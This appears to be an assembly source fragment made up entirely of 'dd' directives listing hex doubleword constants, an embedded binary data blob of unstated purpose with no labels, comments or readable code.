dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h
dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h
dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h
dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h
dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh
dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h
dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h
dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h
dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h
dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h
dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh
dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh
dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch
dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h
dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch
dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h
dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h
dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h
dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h
dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h
dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h
dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h
dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh
dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h
dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh
dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh
dd 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh
dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh
dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh
dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h
dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h
dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh
dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h
dd 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h
dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h
dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h
dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h
dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h, 756E8441h
dd 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh
dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh
dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah
dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h
dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h
dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h
dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h
dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h
dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah
dd 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h
dd 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch
dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh
dd 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh
dd 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h
dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h
dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh
dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h
dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h
dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh
dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh
dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh
dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h
dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah
dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h
dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h
dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h
dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h
dd 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h
dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h
dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h
dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h
dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h
dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h
dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h
dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh
dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h
dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h
dd 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h
dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h
dd 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh
dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h
dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh
dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h
dd 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh
dd 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h
dd 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h
dd 1680827h, 2F000BD4h, 41EDCE80h, 152420h, 74664C94h
dd 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh
dd 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h
dd 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh
dd 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh
dd 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h
dd 366E194Fh, 16C0D08Fh
dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h
dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh
dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h, 84341F1Ch
dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h, 0F7031B31h
dd 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h, 0F53F97B4h
dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch
dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h
dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h
dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h
dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh
dd 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h
dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h
dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h
dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh
dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh
dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah
dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h
dd 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h
dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h
dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h
dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h
dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h
dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h
dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh
dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h
dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h
dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h
dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h
dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h
dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h
dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h
dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh
dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh
dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh
dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h
dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h
dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch
dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah
dd 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h
dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h
dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h
dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h
dd 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h, 88595D16h
dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h
dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh
dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh
dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h
dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h
dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh
dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah
dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh
dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h
dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h
dd 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh
dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h
dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h
dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh
dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h
dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h
dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h
dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh
dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah
dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h
dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h
dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh
dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h
dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h
dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h
dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h
dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h
dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h
dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h
dd 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h
dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h
dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh
dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah
dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h
dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h
dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h
dd 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h
dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h
dd 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch
dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch
dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh
dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h
dd 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h
dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h
dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh
dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h
dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh
dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh
dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h
dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h
dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh
dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh
dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h
dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh
dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh
dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh
dd 451586h, 96BAB30Eh
dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h
dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h
dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah
dd 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h, 0A30FDBB8h
dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h
dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh
dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh
dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h
dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h
dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h
dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h
dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h
dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h
dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh
dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah
dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah
dd 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch
dd 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h
dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h
dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h
dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h
dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h
dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h
dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h
dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h
dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h
dd 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch
dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h
dd 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh
dd 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h
dd 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh
dd 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h
dd 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h
dd 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h
dd 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h
dd 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h
dd 70E0609h, 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h
dd 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h
dd 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h, 10240009h
dd 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h
dd 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h
dd 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah
dd 0C777E8h, 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh
dd 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh
dd 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh
dd 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh
dd 8C004BD7h, 2C0806A4h, 89030984h, 55437850h, 0E06AB830h
dd 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch
dd 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh
dd 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh
dd 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h
dd 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h
dd 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh
dd 0F59E8351h, 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h
dd 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h
dd 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h
dd 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh, 4A0146E1h
dd 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh, 81D817h
dd 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah
dd 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h
dd 7F407E83h, 70687705h, 0E0185E00h, 453020C8h, 28663B40h
dd 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h
dd 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h, 0D3FF1E00h
dd 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h
dd 35941D55h, 89B0047h, 66929EA4h, 2116739Dh, 3D0029E2h
dd 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh
dd 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh
dd 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h
dd 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh, 461B6000h
dd 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh
dd 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h
dd 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch, 59A94E82h
dd 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh
dd 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h, 0F5289833h
dd 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h
dd 24B70037h, 49E65906h, 630061BFh, 0AE121D58h, 980E4427h
dd 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh
dd 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h
dd 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h, 38054424h
dd 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh
dd 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h
dd 0F12AF024h, 810726FEh, 31400689h, 0DA534540h, 3421001Bh
dd 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch
dd 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh
dd 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h
dd 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh
dd 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h
dd 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h
dd 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh
dd 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h
dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h
dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h
dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h, 158D13h
dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh
dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h
dd 0C0A00380h, 910129E0h, 44022290h, 89040300h, 18251505h
dd 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h
dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh
dd 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h
dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h
dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h
dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h
dd 0B9803E0Ch, 896182h
dd 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh
dd 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h
dd 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh, 0B89D8DE0h
dd 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h, 5E76F0h
dd 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h, 6089C53Bh
dd 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h, 62336815h
dd 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h, 0E0142708h
dd 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh
dd 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h
dd 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh
dd 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh, 0DAE9B9h
dd 0BD766C89h, 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh
dd 320FE49h, 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh
dd 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh
dd 0FF960367h, 320DC0B6h, 26985B98h, 1F046973h, 23824B11h
dd 61C98B80h, 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh
dd 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h
dd 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h
dd 579CFFD4h, 788306C7h, 7208C100h, 8AA0EF30h, 26410111h
dd 0BE055488h, 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h
dd 0B680F8C2h, 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch
dd 4280CA2Bh, 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h
dd 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh
dd 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh
dd 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h
dd 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h
dd 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h
dd 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh
dd 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h
dd 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh
dd 38015878h, 0E57A08Fh, 30E40820h, 13900085h, 8941C021h
dd 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh, 0E25ED112h
